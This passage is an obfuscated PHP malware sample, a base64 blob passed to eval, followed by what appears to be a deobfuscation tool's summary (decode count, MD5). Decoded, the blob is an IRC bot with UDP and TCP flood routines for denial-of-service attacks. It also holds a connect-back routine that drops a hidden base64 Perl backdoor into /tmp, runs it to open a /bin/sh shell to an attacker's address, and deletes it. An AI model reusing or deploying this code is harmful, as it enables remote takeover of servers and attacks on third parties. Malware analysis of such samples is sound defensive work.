D0gJHRoaXMtPmJ1ZjsgCiAgICB9IAogICAgJHRoaXMtPnN0YXJ0KCk7IAogfSAKIGZ1bmN0aW9uIHNlbmQoJG1zZykgCiB7IAogICAgZndyaXRlKCR0aGlzLT5jb25uLCIkbXNnXHJcbiIpOyAKCiB9IAogZnVuY3Rpb24gam9pbigkY2hhbiwka2V5PU5VTEwpIAogeyAKICAgICR0aGlzLT5zZW5kKCJKT0lOICRjaGFuICRrZXkiKTsgCiB9IAogZnVuY3Rpb24gcHJpdm1zZygkdG8sJG1zZykKIHsKICAgICR0aGlzLT5zZW5kKCJQUklWTVNHICR0byA6JG1zZyIpOwogfQogZnVuY3Rpb24gbm90aWNlKCR0bywkbXNnKQogewogICAgJHRoaXMtPnNlbmQoIk5PVElDRSAkdG8gOiRtc2ciKTsKIH0KIGZ1bmN0aW9uIGlzX2xvZ2dlZF9pbigkaG9zdCkgCiB7IAogICAgaWYoaXNzZXQoJHRoaXMtPnVzZXJzWyRob3N0XSkpIAogICAgICAgcmV0dXJuIDE7IAogICAgZWxzZSAKICAgICAgIHJldHVybiAwOyAKIH0gCiBmdW5jdGlvbiBsb2dfaW4oJGhvc3QpIAogeyAKICAgICR0aGlzLT51c2Vyc1skaG9zdF0gPSB0cnVlOyAKIH0gCiBmdW5jdGlvbiBsb2dfb3V0KCRob3N0KSAKIHsgCiAgICB1bnNldCgkdGhpcy0+dXNlcnNbJGhvc3RdKTsgCiB9IAogZnVuY3Rpb24gc2V0X25pY2soKSAKIHsgCiAgICBpZihpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSAKICAgIHsgCiAgICAgICBpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJhcGFjaGUiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbQV0iOyAKICAgICAgIGVsc2VpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJpaXMiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbSV0iOyAKICAgICAgIGVsc2VpZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCJ4aXRhbWkiKSkgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbWF0iOyAKICAgICAgIGVsc2UgCiAgICAgICAgICAkdGhpcy0+bmljayA9ICJbVV0iOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICR0aGlzLT5uaWNrID0gIltDXSI7IAogICAgfSAKICAgICR0aGlzLT5uaWNrIC49ICR0aGlzLT5jb25maWdbJ3ByZWZpeCddOyAKICAgIGZvcigkaT0wOyRpPCR0aGlzLT5jb25maWdbJ21heHJhbmQnXTskaSsrKSAKICAgICAgICR0aGlzLT5uaWNrIC49IG10X3JhbmQoMCw5KTsgCiAgICAkdGhpcy0+c2VuZCgiTklDSyAiLiR0aGlzLT5uaWNrKTsKIH0gCiAgZnVuY3Rpb24gdWRwZmxvb2QoJGhvc3QsJHBhY2tldHNpemUsJHRpbWUpIHsKCSR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyVWRwRmxvb2QgU3RhcnRlZCFcMl0iKTsgCgkkcGFja2V0ID0gIiI7Cglmb3IoJGk9MDskaTwkcGFja2V0c2l6ZTskaSsrKSB7ICRwYWNrZXQgLj0gY2hyKG10X3JhbmQoMSwyNTYpKTsgfQoJJHRpbWVpID0gdGltZSgpOwoJJGkgPSAwOwoJd2hpbGUodGltZSgpLSR0aW1laSA8ICR0aW1lKSB7CgkJJGZwPWZzb2Nrb3BlbigidWRwOi8vIi4kaG9zdCxtdF9yYW5kKDAsNjAwMCksJGUsJHMsNSk7CiAgICAgIAlmd3JpdGUoJGZwLCRwYWNrZXQpOwogICAgICAgCWZjbG9zZSgkZnApOwoJCSRpKys7Cgl9CgkkZW52ID0gJGkgKiAkcGFja2V0c2l6ZTsKCSRlbnYgPSAkZW52IC8gMTA0ODU3NjsKCSR2ZWwgPSAkZW52IC8gJHRpbWU7CgkkdmVsID0gcm91bmQoJHZlbCk7CgkkZW52ID0gcm91bmQoJGVudik7CgkkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlVkcEZsb29kIEZpbmlzaGVkIVwyXTogJGVudiBNQiBlbnZpYWRvcyAvIE1lZGlhOiAkdmVsIE1CL3MgIik7Cn0KIGZ1bmN0aW9uIHRjcGZsb29kKCRob3N0LCRwYWNrZXRzLCRwYWNrZXRzaXplLCRwb3J0LCRkZWxheSkgCiB7IAogICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJUY3BGbG9vZCBTdGFydGVkIVwyXSIpOyAKICAgICRwYWNrZXQgPSAiIjsgCiAgICBmb3IoJGk9MDskaTwkcGFja2V0c2l6ZTskaSsrKSAKICAgICAgICRwYWNrZXQgLj0gY2hyKG10X3JhbmQoMSwyNTYpKTsgCiAgICBmb3IoJGk9MDskaTwkcGFja2V0czskaSsrKSAKICAgIHsgCiAgICAgICBpZighJGZwPWZzb2Nrb3BlbigidGNwOi8vIi4kaG9zdCwkcG9ydCwkZSwkcyw1KSkgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJUY3BGbG9vZFwyXTogRXJyb3I6IDwkZT4iKTsgCiAgICAgICAgICByZXR1cm4gMDsgCiAgICAgICB9IAogICAgICAgZWxzZSAKICAgICAgIHsgCiAgICAgICAgICBmd3JpdGUoJGZwLCRwYWNrZXQpOyAKICAgICAgICAgIGZjbG9zZSgkZnApOyAKICAgICAgIH0gCiAgICAgICBzbGVlcCgkZGVsYXkpOyAKICAgIH0gCiAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kIEZpbmlzaGVkIVwyXTogQ29uZmlnIC0gJHBhY2tldHMgcGFjb3RlcyBwYXJhICRob3N0OiRwb3J0LiIpOyAKIH0KIGZ1bmN0aW9uIGNvbmJhY2soJGlwLCRwb3J0KQogewogICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJjb25iYWNrXDJdOiB0ZW50YW5kbyBjb25lY3RhbmRvIGEgJGlwOiRwb3J0Iik7CiAgICAkZGNfc291cmNlID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtjSEpwYm5RZ0lrUmhkR0VnUTJoaE1ITWdRMjl1Ym1WamRDQkNZV05ySUVKaFkydGtiMjl5WEc1Y2JpSTdEUXBwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lHVjRhWFFvTVNrN0RRcDlEUXB3Y21sdWRDQWlXeXBkSUVSMWJYQnBibWNnUVhKbmRXMWxiblJ6WEc0aU93MEtKR2h2YzNRZ1BTQWtRVkpIVmxzd1hUc05DaVJ3YjNKMElEMGdPREE3RFFwcFppQW9KRUZTUjFaYk1WMHBJSHNOQ2lBZ0pIQnZjblFnUFNBa1FWSkhWbHN4WFRzTkNuME5DbkJ5YVc1MElDSmJLbDBnUTI5dWJtVmpkR2x1Wnk0dUxseHVJanNOQ2lSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTQjhmQ0JrYVdVb0lsVnVhMjV2ZDI0Z1VISnZkRzlqYjJ4Y2JpSXBPdzBLYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ20xNUlDUjBZWEpuWlhRZ1BTQnBibVYwWDJGMGIyNG9KR2h2YzNRcE93MEthV1lnS0NGamIyNXVaV04wS0ZORlVsWkZVaXdnY0dGamF5QWlVMjVCTkhnNElpd2dNaXdnSkhCdmNuUXNJQ1IwWVhKblpYUXBLU0I3RFFvZ0lHUnBaU2dpVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtmUTBLY0hKcGJuUWdJbHNxWFNCVGNHRjNibWx1WnlCVGFHVnNiRnh1SWpzTkNtbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQnZjR1Z1S0ZOVVJFbE9MQ0krSmxORlVsWkZVaUlwT3cwS0lDQnZjR1Z1S0ZOVVJFOVZWQ3dpUGlaVFJWSldSVklpS1RzTkNpQWdiM0JsYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXVJQ0pjTUNJZ2VDQTBPdzBLSUNCbGVHbDBLREFwT3cwS2ZRMEtjSEpwYm5RZ0lsc3FYU0JFWVhSaFkyaGxaRnh1WEc0aU93PT0iOwogICAgaWYgKGlzX3dyaXRhYmxlKCIvdG1wIikpCiAgICB7CiAgICAgIGlmIChmaWxlX2V4aXN0cygiL3RtcC9kYy5wbCIpKSB7IHVubGluaygiL3RtcC9kYy5wbCIpOyB9CiAgICAgICRmcD1mb3BlbigiL3RtcC9kYy5wbCIsInciKTsKICAgICAgZndyaXRlKCRmcCxiYXNlNjRfZGVjb2RlKCRkY19zb3VyY2UpKTsKICAgICAgcGFzc3RocnUoInBlcmwgL3RtcC9kYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoIi90bXAvZGMucGwiKTsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgIGlmIChpc193cml0YWJsZSgiL3Zhci90bXAiKSkKICAgIHsKICAgICAgaWYgKGZpbGVfZXhpc3RzKCIvdmFyL3RtcC9kYy5wbCIpKSB7IHVubGluaygiL3Zhci90bXAvZGMucGwiKTsgfQogICAgICAkZnA9Zm9wZW4oIi92YXIvdG1wL2RjLnBsIiwidyIpOwogICAgICBmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJGRjX3NvdXJjZSkpOwogICAgICBwYXNzdGhydSgicGVybCAvdmFyL3RtcC9kYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoIi92YXIvdG1wL2RjLnBsIik7CiAgICB9CiAgICBpZiAoaXNfd3JpdGFibGUoIi4iKSkKICAgIHsKICAgICAgaWYgKGZpbGVfZXhpc3RzKCJkYy5wbCIpKSB7IHVubGluaygiZGMucGwiKTsgfQogICAgICAkZnA9Zm9wZW4oImRjLnBsIiwidyIpOwogICAgICBmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJGRjX3NvdXJjZSkpOwogICAgICBwYXNzdGhydSgicGVybCBkYy5wbCAkaXAgJHBvcnQgJiIpOwogICAgICB1bmxpbmsoImRjLnBsIik7CiAgICB9CiAgICB9CiAgfQp9IAoKJGJvdCA9IG5ldyBwQm90OyAKJGJvdC0+c3RhcnQoKTsgCgo/Pg=="));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 f918b55eec3e37a9adf74595042e2b04
Eval Count 1
Decode Time 99 ms